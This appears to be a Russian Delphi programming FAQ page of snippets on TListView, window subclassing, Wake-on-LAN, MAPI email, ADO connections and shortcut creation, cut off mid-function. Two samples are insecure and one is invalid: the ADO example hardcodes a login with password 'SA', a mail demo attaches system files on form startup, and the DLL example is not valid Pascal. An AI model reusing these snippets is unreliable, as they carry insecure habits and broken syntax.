ТИПОВЫЕ РЕШЕНИЯ. Проблем нет при использовании Delphi 7 Отказываться от поддержки тем Отказываться от использования ListView в режиме vsReportКОММЕНТАРИЙ:
Кто работает с D6 под XP - проверьте этот камень. Можно еще посоветовать следовать общим рекомендациям из статьи Акжана Абдулина на сайте www.rsdn.ru : Поддержка Windows Visual Styles (Themes) API в Ваших органах управления
ЗаключениеЕсли вы заметили орфографическую, стилистическую или другую ошибку на этой странице, просто выделите ошибку мышью и нажмите Ctrl+Enter.
Получить все выделенные элементы TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
with Listview1 do
// MultiSelect := True;
// ViewStyle := vsReport;
for i := 0 to Items.Count - 1 do
if Items[i].Selected then
Items[i].Caption := Items[i].Caption + ' - Selected!';
end;
Двоичный поиск для TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{+------------------------------------------------------------
| Function ListviewBinarySearch
|
| Parameters :
| listview: listview to search, assumed to be sorted, must
| be <> nil.
| Item : item caption to search for, cannot be empty
| index : returns the index of the found item, or the
| index where the item should be inserted if it is not
| already in the list.
| Returns : True if there is an item with the passed caption
| in the list, false otherwise.
| Description:
| Uses a binary search and assumes that the listview is sorted
| ascending on the caption of the listitems. The search is
| case-sensitive, like the default alpha-sort routine used by
| the TListview class.
| Note:
| We use the lstrcmp function for string comparison since it
| is the function used by the default alpha sort routine. If
| the listview is sorted by another means (e.g. OnCompare event)
| this needs to be changed, the comparison method used must
| always be the same one used to sort the listview, or the
| search will not work!
| Error Conditions: none
| Created: 31.10.99 by P. Below
+------------------------------------------------------------}
function ListviewBinarySearch(listview: TListview; const Item: string;
var Index: Integer): Boolean;
var
First, last, pivot, res: Integer;
begin
Assert(Assigned(listview));
Assert(Length(item) > 0);
Result := False;
Index := 0;
if listview.Items.Count = 0 then Exit;
First := 0;
last := listview.Items.Count - 1;
repeat
pivot := (First + last) div 2;
res := lstrcmp(PChar(item), PChar(listview.Items[pivot].Caption));
if res = 0 then
begin
{ Found the item, return its index and exit. }
Index := pivot;
Result := True;
Break;
end { If }
else if res > 0 then
begin
{ Item is larger than item at pivot }
First := pivot + 1;
end { If }
else
begin
{ Item is smaller than item at pivot }
last := pivot - 1;
end;
until last < First;
Index := First;
end; { ListviewBinarySearch }
Добавить событие по двойному щелчку на заголовке TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
MS did not see fit to send a notification to the listview when the user
Double - clicks on the header. But the header control class does have the
CS_DBLCLKS Style, so it does get WM_LBUTTONDBLCLK messages, it just does
not do anything with them. To get at these messages requires API - Style
subclassing of the header control.
}
uses commctrl;
function HeaderProc(wnd: HWND; Msg: Cardinal; wParam: wParam; lParam: lParam): Longint;
stdcall;
var
hti: THDHitTestInfo;
begin
Result := CallWindowProc(Pointer(GetWindowLong(wnd, GWL_USERDATA)),
wnd, Msg, wParam, lParam);
if Msg = WM_LBUTTONDBLCLK then
begin
FillChar(hti, SizeOf(hti), 0);
hti.Point := SmallPointToPoint(TSmallPoint(lParam));
if SendMessage(wnd, HDM_HITTEST, 0, Longint(@hti)) >= 0 then
if hti.Flags = HHT_ONHEADER then
// would usually send a custom notification to GetParent(wnd) here
Form1.Memo1.Lines.Add(Format('doubleclick on header item %d', [hti.Item]));
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
wnd: HWND;
buffer: array [0..80] of Char;
oldProc: Integer;
begin
wnd := GetWindow(Listview1.Handle, GW_CHILD);
if wnd <> 0 then
begin
Windows.GetClassname(wnd, buffer, SizeOf(buffer));
memo1.Text := buffer;
if (GetClassLong(wnd, GCL_STYLE) and CS_DBLCLKS) <> 0 then
begin
Memo1.Lines.Add('Has doubleclicks style');
oldproc := GetWIndowLong(wnd, GWL_WNDPROC);
if GetWindowLong(wnd, GWL_USERDATA) <> 0 then
raise Exception.Create('Cannot sublcass header, USERDATA already in use');
SetWIndowLong(wnd, GWL_USERDATA, oldproc);
SetWindowLong(wnd, GWL_WNDPROC, Integer(@HeaderProc));
end;
end
else
Memo1.Text := 'No child';
end;
Переместить элемент в TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Move item 1 after item 4
// Bewege Item 1 hinter Item 4
function MoveListViewItem(listView: TListView; ItemFrom, ItemTo: Word): Boolean;
var
Source, Target: TListItem;
begin
Result := False;
listview.Items.BeginUpdate;
try
Source := listview.Items[ItemFrom];
Target := listview.Items.Insert(ItemTo);
Target.Assign(Source);
Source.Free;
Result := True;
finally
listview.Items.EndUpdate;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
// Listview1.ViewStyle := vsReport;
if MoveListViewItem(Listview1, 1, 4) then
ShowMessage('Moved!');
end;
Макро-процедуры.
Автор: Peter Below Каким образом мне можно использовать переменную типа String в качестве имени процедуры? Если все процедуры, которые вы собираетесь вызывать имеют список с одними и теми же параметрами, (или все без параметров), то это не трудно. Для этого необходимо:Процедурный тип, соответствующий вашей процедуре, например:
Type TMacroProc = Procedure( param: Integer ); |
Массив, "подключающий" имена процедур к их адресам во время выполнения приложения:
Type
TMacroName = String[32];
TMacroLink = Record
name: TMacroName;
proc: TMacroProc;
End;
TMacroList = Array [1..MaxMacroIndex] Of TMacroLink;
Const
Macros: TMacroList=(
(name: 'Proc1'; proc: Proc1 ),
(name: 'Proc2'; proc: Proc2 ),
.....);
|
Интерпретатор функций, типа:
Procedure CallMacro( name: String; param: Integer );
Var
i: Integer;
Begin
For i := 1 To MaxMacroIndex Do
If CompareText( name, Macros[i].name ) = 0 Then
Begin
Macros[i].proc( param );
Break;
End;
End;
|
Макро-процедуры необходимо объявить в секции Interface модуля или с ключевым словом Far, например:
Procedure Proc1( n: Integer ); far; Begin .... End; Procedure Proc2( n: Integer ); far; Begin .... End; |
Реализация Wake для сети – Волшебный Пакет.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
What's a Magic Packet?
Was ist ein Magic Packet?
DESTINATION SOURCE MISC. FF FF FF FF FF FF 11 22 33 44 55 66 11 22 33 44
55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44
55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44
55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44
55 66 11 22 33 44 55 66 11 22 33 44 55 66 MISC. CRC.
Note: Destination, Source, Misc and CRC are normally added by our Socket-Component
Beachte: Destination, Source, Mis und CRC werden normalerweise von deiner
Socket-Komponente hinzugefugt
}
procedure TForm1.Button1Click(Sender: TObject);
var
Data, temp: string;
k, n: integer;
begin
Data := '';
for k := 0 to 5 do
begin
Data := Data + Chr(StrToInt('$FF')); // 6x add a FF / 6x ein FF hinzufugen
end;
temp := StringReplace(Edit1.Text, '-', '', [rfReplaceAll]);
for k := 0 to 15 do
begin
temp := StringReplace(Edit1.Text, '-', '', [rfReplaceAll]);
for n := 0 to 5 do
begin
// 16x add Target-Mac-Adress / 16x die Ziel-Macadresse hinzufugen
Data := Data + Chr(StrToInt('$' + temp[1] + temp[2]));
Delete(temp, 1, 2);
end;
end;
//Example with TIdUDPClient of Indy
//IdUDPClient1.Send('255.255.255.255', '80', Data); // Send it / Verschick es
end;
Пример работы с MailSlot.
Автор: Baa WEB-сайт: http://forum.vingrad.ru
procedure TForm1.Button1Click(Sender: TObject);
var
hSlot1: THandle;
lpszSlotName: LPSTR;
begin
lpszSlotName := '\\\\.\\mailslot\\sample_mailslot';
hslot1 := CreateMailslot(lpszSlotName,
0,
MAILSLOT_WAIT_FOREVER,
nil);
// тут поидее должна быть обработка ошибки, если не удалось создать
// Далее работаем
// с ним, как с файлом т.е.WriteFile и т.д.
CloseHandle(hSlot1); //а кады закрываем за собой дескриптор,
// то память чистится т.е.все, что мы туда поназаписали удаляется
end;
Как отправить Email, используя почтовую программу по умолчанию.
uses SHELLAPI;
procedure AutoSendMail;
var
EMailDestinationString, SubjectString, Line1String,
Line2String, mailstring: string;
begin
EMailDestinationString := 'gbamber@bamber.com';
SubjectString := 'Message Subject';
Line1String := 'This is the first line';
Line2String := 'This is the second line';
// Можно использовать несколько адресов, разделяя их точкой с запятой
mailstring := 'mailto:' + EMailDestinationString +
'?subject=' + SubjectString +
'&body=' + Line1String +
'%0d' + Line2String;
if (ShellExecute(0, 'open', PChar(mailstring), '', '',
SW_SHOWNORMAL) <= 32) then
ShowMessage('Auto method failed.');
end;
|
Получить имена установленных почтовых клиентов.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Get names of installed Mail-Clients.
Namen der installierten Mail-Clients ermitteln.
}
uses
Registry;
function GetInstalledMailClients(AList: TStrings): Boolean;
const
RegClientsRoot = '\SOFTWARE\Clients';
RegClientsMail = '\Mail';
RegClientsOpenCmd = '\shell\open\command';
var
reg: TRegistry;
begin
Result := True;
try
AList.Clear;
reg := nil;
reg := TRegistry.Create;
try
with reg do
begin
CloseKey;
RootKey := HKEY_LOCAL_MACHINE;
if OpenKeyReadOnly(RegClientsroot + RegClientsMail) then
if HasSubKeys then
GetKeyNames(AList);
end;
finally
if Assigned(reg) then reg.Free;
end;
except
Result := False;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
GetInstalledMailClients(ListBox1.Items);
end;
Отправить Email с вложением для Outlook Express.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Shellexecute(Handle,'open','mailto:aaaa@bbb.com?subject&body=body
text&CC=aaaa&bcc=dddd&attach=FileName',nil,nil,SW_SHOW)
only works with outlook, not for outlook express,
but the method below can send attachment to outlook express
}
uses
ComObj;
procedure SendMail(Subject, Body, RecvAddress : string; Attachs : array of string);
var
MM, MS : Variant;
i : integer;
begin
MS := CreateOleObject('MSMAPI.MAPISession');
try
MM := CreateOleObject('MSMAPI.MAPIMessages');
try
MS.DownLoadMail := False;
MS.NewSession := False;
MS.LogonUI := True;
MS.SignOn;
MM.SessionID := MS.SessionID;
MM.Compose;
MM.RecipIndex := 0;
MM.RecipAddress := RecvAddress;
MM.MsgSubject := Subject;
MM.MsgNoteText := Body;
for i := Low(Attachs) to High(Attachs) do
begin
MM.AttachmentIndex := i;
MM.AttachmentPathName := Attachs[i];
end;
MM.Send(True);
MS.SignOff;
finally
VarClear(MS);
end;
finally
VarClear(MM);
end;
end;
procedure TForm1.FormCreate(Sender : TObject);
begin
SendMail('Subject', 'Body'#13#10'Second' , 'BillGates@Microsoft.com',
['C:\Winnt\explorer.exe', 'C:\winnt\win.ini']);
end;
Получить дескриптор главного окна оболочки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
At times, it is necessary to get a handle (HWND) to the shell's main window.
MSDN offers us next method:
hwndShell := FindWindow('Progman', nil);
It seems to be a simple code but I've found much better solution.
The User32.dll has one more useful and of course
undocumented function - GetShellWindow!
}
// This example will show you how you can obtain a handle to the
// Windows Shell window without calling the FindWindow function.
// Translated from C to Delphi by Thomas Stutz
// Original Code:
// (c)1999 Ashot Oganesyan K, SmartLine, Inc
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com
// This function returns a handle to the Windows Shell window
function ShellWindow: HWND;
type
TGetShellWindow = function(): HWND; stdcall;
var
hUser32: THandle;
GetShellWindow: TGetShellWindow;
begin
Result := 0;
hUser32 := GetModuleHandle('user32.dll');
if (hUser32 > 0) then
begin
@GetShellWindow := GetProcAddress(hUser32, 'GetShellWindow');
if Assigned(GetShellWindow) then
begin
Result := GetShellWindow;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
hShellWindow: Hwnd;
strWinText: array[0..260] of char;
begin
hShellWindow := ShellWindow;
if hShellWindow <> 0 then
begin
GetWindowText(ShellWindow, strWinText, 255);
ShowMessage(strWinText);
end;
end;
Hook для главной формы приложения.
Автор: Xavier Pacheco
unit HookMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
THookForm = class(TForm)
SendBtn: TButton;
GroupBox1: TGroupBox;
LogList: TListBox;
DoLog: TCheckBox;
ExitBtn: TButton;
procedure SendBtnClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ExitBtnClick(Sender: TObject);
private
function AppWindowHook(var Message: TMessage): Boolean;
end;
var
HookForm: THookForm;
implementation
{$R *.DFM}
procedure THookForm.FormCreate(Sender: TObject);
begin
Application.HookMainWindow(AppWindowHook);
end;
procedure THookForm.FormDestroy(Sender: TObject);
begin
Application.UnhookMainWindow(AppWindowHook);
end;
function THookForm.AppWindowHook(var Message: TMessage): Boolean;
const
LogStr = 'Message ID: $%x, WParam: $%x, LParam: $%x';
begin
Result := True;
if DoLog.Checked then
with Message do
LogList.Items.Add(Format(LogStr, [Msg, WParam, LParam]));
end;
procedure THookForm.SendBtnClick(Sender: TObject);
begin
SendMessage(Application.Handle, WM_NULL, 0, 0);
end;
procedure THookForm.ExitBtnClick(Sender: TObject);
begin
Close;
end;
end.
Как сделать ADO-connection.
Автор: http://www.swissdelphicenter.ch
uses
ComObj;
function OpenConnection(ConnectionString: AnsiString): Integer;
var
ADODBConnection: OleVariant;
begin
ADODBConnection := CreateOleObject('ADODB.Connection');
ADODBConnection.CursorLocation := 3; // User client
ADODBConnection.ConnectionString := ConnectionString;
Result := 0;
try
ADODBConnection.Open;
except
Result := -1;
end;
end;
function DataBaseConnection_Test(bMessage: Boolean): AnsiString;
var
asTimeout, asUserName, asPassword, asDataSource, ConnectionString: AnsiString;
iReturn: Integer;
OldCursor: TCursor;
begin
OldCursor := Screen.Cursor;
Screen.Cursor := crHourGlass;
asTimeout := '150';
asUserName := 'NT_Server';
asPassword := 'SA';
asDataSource := 'SQL Server - My DataBase';
ConnectionString := 'Data Source = ' + asDataSource +
'User ID = ' + asUserName +
'Password = ' + asPassword +
'Mode = Read|Write;Connect Timeout = ' + asTimeout;
try
iReturn := OpenConnection(ConnectionString);
if (bMessage) then
begin
if (iReturn = 0) then
Application.MessageBox('Connection OK!', 'Information', MB_OK)
else if (iReturn = -1) then
Application.MessageBox('Connection Error!', 'Error', MB_ICONERROR +
MB_OK);
end;
if (iReturn = 0) then
Result := ConnectionString
else if (iReturn = -1) then
Result := '';
finally
Screen.Cursor := OldCursor;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
DataBaseConnection_Test(True);
end;
Создание каталога.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
Dialogs;
begin
{$I-}
MkDir('c:\windows');
{$I+}
if IOResult <> 0 then
MessageDlg('Cannot Create Directory/Verzeichnis kann nicht angelegt werden!',
mtWarning, [mbOK], 0)
else
MessageDlg('Directory Created/Neues Verzeichnis angelegt.', mtInformation, [mbOK], 0);
end;
Как сделать DLL.
library lib_name;
uses classes, sysutils;
{$r *.res}
begin
function b(a: string)
begin
end;
exports b;
end.
// а из программы ее можно вызывать так:
function b(a: string); external 'lib_name.dll';
|
Написание простейшего эксперта.
Автор: Раструсный Владислав Какой же код нужно написать для создания простейшего эксперта? Для этого нужно написать класс, унаследованный от IOTAWizard (определен в файле ToolsAPI.pas) или одного из его потомков, расположить в модуле процедуру Register, как мы это делали с компонентами, и вызвать внутри ее процедуру RegisterPackageWizard (const Wizard: IOTAWizard); например: RegisterPackageWizard (TMyExpert.Create as IOTAWizard); передав ей в качестве параметра экземпляр заранее созданного эксперта.Рассмотрим класс IOTAWizard.
IOTAWizard = interface(IOTANotifier)
['{B75C0CE0-EEA6-11D1-9504-00608CCBF153}']
{ Expert UI strings }
function GetIDString: string;
function GetName: string;
function GetState: TWizardState;
{ Launch the AddIn }
procedure Execute;
end;
|
Интерфейс IOTANotifier нам не понадобится, поэтому давайте рассмотрим методы IOTAWizard:
Метод GetIDString должен возвращать уникальный идентификатор эксперта. Например: MyCompany.MyExpert Метод GetName должен возвращать название эксперта Метод GetState должен возвращать [wsEnabled], если эксперт функционирует, wsChecked если выбран. Метод Execute вызывается при запуске эксперта из среды IDE.Итак, если вы хотите сами программировать действия вашего эксперта, включая добавление в меню IDE и прочее и прочее, унаследуйте его от IOTAWizard.
Если вы хотите, чтобы ваш эксперт отображался в репозитарии Delphi на произвольной странице и по щелчку по его иконке вызывался его метод Execute - унаследуйте его от IOTARepositoryWizard.
IOTARepositoryWizard = interface(IOTAWizard)
['{B75C0CE1-EEA6-11D1-9504-00608CCBF153}']
function GetAuthor: string;
function GetComment: string;
function GetPage: string;
function GetGlyph: Cardinal;
end;
|
Если же вы хотите, чтобы пункт меню для вызова метода вашего эксперта Execute помещался в меню Help главного меню IDE, унаследуйте вашего эксперта от IOTAMenuWizard:
IOTAMenuWizard = interface(IOTAWizard)
['{B75C0CE2-EEA6-11D1-9504-00608CCBF153}']
function GetMenuText: string;
end;
|
Если вы хотите расположить вашего эксперта не в пакете, а в DLL библиотеке, библиотека должна экспортировать функцию INITWIZARD0001 следующего формата:
type
TWizardRegisterProc = function(const Wizard: IOTAWizard): Boolean;
type
TWizardTerminateProc = procedure;
function INITWIZARD0001(const BorlandIDEServices: IBorlandIDEServices;
RegisterProc: TWizardRegisterProc; var Terminate: TWizardTerminateProc):
Boolean stdcall;
|
Эксперт будет запущен только при перезапуске среды, если она выполнялась. Вуаля!
Создание шрифта.
Автор: Xavier Pacheco
{
Copyright © 1998 by Delphi 4 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit FontInfoFrm;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, ExtCtrls, StdCtrls;
type
TFontInfoForm = class(TForm)
lbFontInfo: TListBox;
procedure FormActivate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FontInfoForm: TFontInfoForm;
implementation
uses MainFrm;
{$R *.DFM}
procedure TFontInfoForm.FormActivate(Sender: TObject);
const
PITCH_MASK: byte = $0F; // Set the lower order four bits
FAMILY_MASK: byte = $F0; // Set to higher order four bits
var
TxMetric: TTextMetric;
FaceName: string;
PitchTest, FamilyTest: byte;
begin
// Allocate memory for FaceName string
SetLength(FaceName, lf_FaceSize + 1);
// First get the font information
with MainForm.pbxFont.Canvas do
begin
GetTextFace(Handle, lf_faceSize - 1, PChar(FaceName));
GetTextMetrics(Handle, TxMetric);
end;
// Now add the font information to the listbox from the TTEXTMETRIC structure.
with lbFontInfo.Items, TxMetric do
begin
Clear;
Add('Font face name: ' + FaceName);
Add('tmHeight: ' + IntToStr(tmHeight));
Add('tmAscent: ' + IntToStr(tmAscent));
Add('tmDescent: ' + IntToStr(tmDescent));
Add('tmInternalLeading: ' + IntToStr(tmInternalLeading));
Add('tmExternalLeading: ' + IntToStr(tmExternalLeading));
Add('tmAveCharWidth: ' + IntToStr(tmAveCharWidth));
Add('tmMaxCharWidth: ' + IntToStr(tmMaxCharWidth));
Add('tmWeight: ' + IntToStr(tmWeight));
if tmItalic <> 0 then
Add('tmItalic: YES')
else
Add('tmItalic: NO');
if tmUnderlined <> 0 then
Add('tmUnderlined: YES')
else
Add('tmUnderlined: NO');
if tmStruckOut <> 0 then
Add('tmStruckOut: YES')
else
Add('tmStruckOut: NO');
// Check the font's pitch type
PitchTest := tmPitchAndFamily and PITCH_MASK;
if (PitchTest and TMPF_FIXED_PITCH) = TMPF_FIXED_PITCH then
Add('tmPitchAndFamily-Pitch: Fixed Pitch');
if (PitchTest and TMPF_VECTOR) = TMPF_VECTOR then
Add('tmPitchAndFamily-Pitch: Vector');
if (PitchTest and TMPF_TRUETYPE) = TMPF_TRUETYPE then
Add('tmPitchAndFamily-Pitch: True type');
if (PitchTest and TMPF_DEVICE) = TMPF_DEVICE then
Add('tmPitchAndFamily-Pitch: Device');
if PitchTest = 0 then
Add('tmPitchAndFamily-Pitch: Unknown');
// Check the fonts family type
FamilyTest := tmPitchAndFamily and FAMILY_MASK;
if (FamilyTest and FF_ROMAN) = FF_ROMAN then
Add('tmPitchAndFamily-Family: FF_ROMAN');
if (FamilyTest and FF_SWISS) = FF_SWISS then
Add('tmPitchAndFamily-Family: FF_SWISS');
if (FamilyTest and FF_MODERN) = FF_MODERN then
Add('tmPitchAndFamily-Family: FF_MODERN');
if (FamilyTest and FF_SCRIPT) = FF_SCRIPT then
Add('tmPitchAndFamily-Family: FF_SCRIPT');
if (FamilyTest and FF_DECORATIVE) = FF_DECORATIVE then
Add('tmPitchAndFamily-Family: FF_DECORATIVE');
if FamilyTest = 0 then
Add('tmPitchAndFamily-Family: Unknown');
Add('tmCharSet: ' + IntToStr(tmCharSet));
Add('tmOverhang: ' + IntToStr(tmOverhang));
Add('tmDigitizedAspectX: ' + IntToStr(tmDigitizedAspectX));
Add('tmDigitizedAspectY: ' + IntToStr(tmDigitizedAspectY));
end;
end;
end.
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls, Mask, Spin;
const
// Array to represent the TLOGFONT.lfCharSet values
CharSetArray: array[0..4] of byte = (ANSI_CHARSET, DEFAULT_CHARSET,
SYMBOL_CHARSET, SHIFTJIS_CHARSET, OEM_CHARSET);
// Array to represent the TLOGFONT.lfWeight values
WeightArray: array[0..9] of integer =
(FW_DONTCARE, FW_THIN, FW_EXTRALIGHT, FW_LIGHT, FW_NORMAL, FW_MEDIUM,
FW_SEMIBOLD, FW_BOLD, FW_EXTRABOLD, FW_HEAVY);
// Array to represent the TLOGFONT.lfOutPrecision values
OutPrecArray: array[0..7] of byte = (OUT_DEFAULT_PRECIS,
OUT_STRING_PRECIS, OUT_CHARACTER_PRECIS, OUT_STROKE_PRECIS,
OUT_TT_PRECIS, OUT_DEVICE_PRECIS, OUT_RASTER_PRECIS,
OUT_TT_ONLY_PRECIS);
// Array to represent the TLOGFONT.lfPitchAndFamily higher four-bit values
FamilyArray: array[0..5] of byte = (FF_DONTCARE, FF_ROMAN,
FF_SWISS, FF_MODERN, FF_SCRIPT, FF_DECORATIVE);
// Array to represent the TLOGFONT.lfPitchAndFamily lower two-bit values
PitchArray: array[0..2] of byte = (DEFAULT_PITCH, FIXED_PITCH,
VARIABLE_PITCH);
// Array to represent the TLOGFONT.lfClipPrecision values
ClipPrecArray: array[0..6] of byte = (CLIP_DEFAULT_PRECIS,
CLIP_CHARACTER_PRECIS, CLIP_STROKE_PRECIS, CLIP_MASK, CLIP_LH_ANGLES,
CLIP_TT_ALWAYS, CLIP_EMBEDDED);
// Array to represent the TLOGFONT.lfQuality values
QualityArray: array[0..2] of byte = (DEFAULT_QUALITY, DRAFT_QUALITY,
PROOF_QUALITY);
type
TMainForm = class(TForm)
lblHeight: TLabel;
lblWidth: TLabel;
gbEffects: TGroupBox;
cbxItalic: TCheckBox;
cbxUnderline: TCheckBox;
cbxStrikeOut: TCheckBox;
cbWeight: TComboBox;
lblWeight: TLabel;
lblEscapement: TLabel;
cbEscapement: TComboBox;
pbxFont: TPaintBox;
cbCharSet: TComboBox;
lblCharSet: TLabel;
cbOutPrec: TComboBox;
lblOutPrecision: TLabel;
cbFontFace: TComboBox;
rgPitch: TRadioGroup;
cbFamily: TComboBox;
lblFamily: TLabel;
lblClipPrecision: TLabel;
cbClipPrec: TComboBox;
rgQuality: TRadioGroup;
btnSetDefaults: TButton;
btnFontInfo: TButton;
lblFaceName: TLabel;
rgGraphicsMode: TRadioGroup;
lblOrientation: TLabel;
cbOrientation: TComboBox;
seHeight: TSpinEdit;
seWidth: TSpinEdit;
procedure pbxFontPaint(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure btnFontInfoClick(Sender: TObject);
procedure btnSetDefaultsClick(Sender: TObject);
procedure rgGraphicsModeClick(Sender: TObject);
procedure cbEscapementChange(Sender: TObject);
procedure FontChanged(Sender: TObject);
private
{ Private declarations }
FLogFont: TLogFont;
FHFont: HFont;
procedure MakeFont;
procedure SetDefaults;
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
uses FontInfoFrm;
{$R *.DFM}
procedure TMainForm.MakeFont;
begin
// Clear the contents of FLogFont
FillChar(FLogFont, sizeof(TLogFont), 0);
// Set the TLOGFONT's fields
with FLogFont do
begin
lfHeight := StrToInt(seHeight.Text);
lfWidth := StrToInt(seWidth.Text);
lfEscapement := StrToInt(cbEscapement.Items[cbEscapement.ItemIndex]);
lfOrientation := StrToInt(cbOrientation.Items[cbOrientation.ItemIndex]);
lfWeight := WeightArray[cbWeight.ItemIndex];
lfItalic := ord(cbxItalic.Checked);
lfUnderline := ord(cbxUnderLine.Checked);
lfStrikeOut := ord(cbxStrikeOut.Checked);
lfCharSet := CharSetArray[cbCharset.ItemIndex];
lfOutPrecision := OutPrecArray[cbOutPrec.ItemIndex];
lfClipPrecision := ClipPrecArray[cbClipPrec.ItemIndex];
lfQuality := QualityArray[rgQuality.ItemIndex];
lfPitchAndFamily := PitchArray[rgPitch.ItemIndex] or
FamilyArray[cbFamily.ItemIndex];
StrPCopy(lfFaceName, cbFontFace.Items[cbFontFace.ItemIndex]);
end;
// Retrieve the requested font
FHFont := CreateFontIndirect(FLogFont);
// Assign to the Font.Handle
pbxFont.Font.Handle := FHFont;
pbxFont.Refresh;
end;
procedure TMainForm.SetDefaults;
begin
// Set the various conrols to default values for ALogFont
seHeight.Text := '0';
seWidth.Text := '0';
cbxItalic.Checked := false;
cbxStrikeOut.Checked := false;
cbxUnderline.Checked := false;
cbWeight.ItemIndex := 0;
cbEscapement.ItemIndex := 0;
cbOrientation.ItemIndex := 0;
cbCharset.ItemIndex := 1;
cbOutPrec.Itemindex := 0;
cbFamily.ItemIndex := 0;
cbClipPrec.ItemIndex := 0;
rgPitch.ItemIndex := 0;
rgQuality.ItemIndex := 0;
// Fill CBFontFace TComboBox with the screen's fonts
cbFontFace.Items.Assign(Screen.Fonts);
cbFontFace.ItemIndex := cbFontFace.Items.IndexOf(Font.Name);
end;
procedure TMainForm.pbxFontPaint(Sender: TObject);
begin
with pbxFont do
begin
{ Note that in Windows 95, the graphics mode will always be GM_COMPATIBLE
as GM_ADVANCED is recognized only by Windows NT. }
case rgGraphicsMode.ItemIndex of
0: SetGraphicsMode(pbxFont.Canvas.Handle, GM_COMPATIBLE);
1: SetGraphicsMode(pbxFont.Canvas.Handle, GM_ADVANCED);
end;
Canvas.Rectangle(2, 2, Width - 2, Height - 2);
// Write the fonts name
Canvas.TextOut(Width div 2, Height div 2, CBFontFace.Text);
end;
end;
procedure TMainForm.FormActivate(Sender: TObject);
begin
SetDefaults;
MakeFont;
end;
procedure TMainForm.btnFontInfoClick(Sender: TObject);
begin
FontInfoForm.ShowModal;
end;
procedure TMainForm.btnSetDefaultsClick(Sender: TObject);
begin
SetDefaults;
MakeFont;
end;
procedure TMainForm.rgGraphicsModeClick(Sender: TObject);
begin
cbOrientation.Enabled := rgGraphicsMode.ItemIndex = 1;
if not cbOrientation.Enabled then
cbOrientation.ItemIndex := cbEscapement.ItemIndex;
MakeFont;
end;
procedure TMainForm.cbEscapementChange(Sender: TObject);
begin
if not cbOrientation.Enabled then
cbOrientation.ItemIndex := cbEscapement.ItemIndex;
end;
procedure TMainForm.FontChanged(Sender: TObject);
begin
MakeFont;
end;
end.
Скачать весь проект
Создание ярлыка для конкретного файла.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Создание ярлыка для конкретного файла
ВХОДНЫЕ ПАРАМЕТРЫ.
FILENAME - имя файл ДЛЯ КОТОРОГО будет создан ярлык (*.lnk).
DestDirectory - путь к каталогу, в котором должен быть расположен
создаваемый ярлык.
OverwriteExisting - если TRUE, то в случае существования создаваемого ярлыка
в папке назначения, то существующий ярлык с
подобным именем будет переписан.
AddNumberIfExists - если TRUE, то в при существовании ярлыка с подобным
именем в папке назначения,существующий ярлык не будет переписан, а к
создаваемому ярлыку будет добавлено число, определяющее номер копии
создаваемого ярлыка.
ВНИМАНИЕ !!! Параметр OverwriteExisting является более влиятельным по
отношению к параметру AddNumberIfExists, т.е. при передачи
обоим параметрам TRUE, существующий ярлык
(если таковой имеется в папке назначения),
будет переписан.
Зависимости: shlObj, activeX, SysUtils, filectrl, comObj, UBPFD.ExtractFileNameEX
Автор: VID, snap@iwt.ru, ICQ:132234868, Махачкала
Copyright: Списал с одного из FAQ + собственные корректировки и расширение возможностей
Дата: 19 апреля 2002 г.
***************************************************** }
function CreateLink(FileName, DestDirectory: string; OverwriteExisting,
AddNumberIfExists: Boolean): string;
var
MyObject: IUnknown;
MySLink: IShellLink;
MyPFile: IPersistFile;
WFileName: WideString;
X: INTEGER;
begin
//Изначально RESULT = ''
Result := '';
//Если фиайла, для которого создаётся ярлык не существует, или же не
// существует директории, где должен быть создан ярлык файла, то EXIT
if (FileExists(FileName) = FALSE) or (DirectoryExists(DestDirectory) = FALSE)
then
exit;
MyObject := CreateComObject(CLSID_SHELLLINK);
MyPFile := MyObject as IPersistFile;
MySLink := MyObject as IShellLink;
with MySLink do
begin
SetArguments('');
SetPath(PChar(FileName));
SetWorkingDirectory(PChar(ExtractFilePath(FileName)));
end;
//Гарантирование проставление завершающего '\' в пути директории
//расположения создаваемого ярлыка
if DestDirectory[length(DestDirectory)] <> '\' then
DestDirectory := DestDirectory + '\';
// Первичное определене будующего имени ярлыка
WFileName := DestDirectory + ExtractFileNameEx(FileName, FALSE) + '.lnk';
//Если ярлык с таким именем уже существует, то
if (FileExists(WFileName)) then
begin
// Если не надо переписывать существующий ярлык, а надо добавить
// порядковый номер существования к имени создаваемого ярлыка, например
// blobby1.lnk, blobby2.lnk
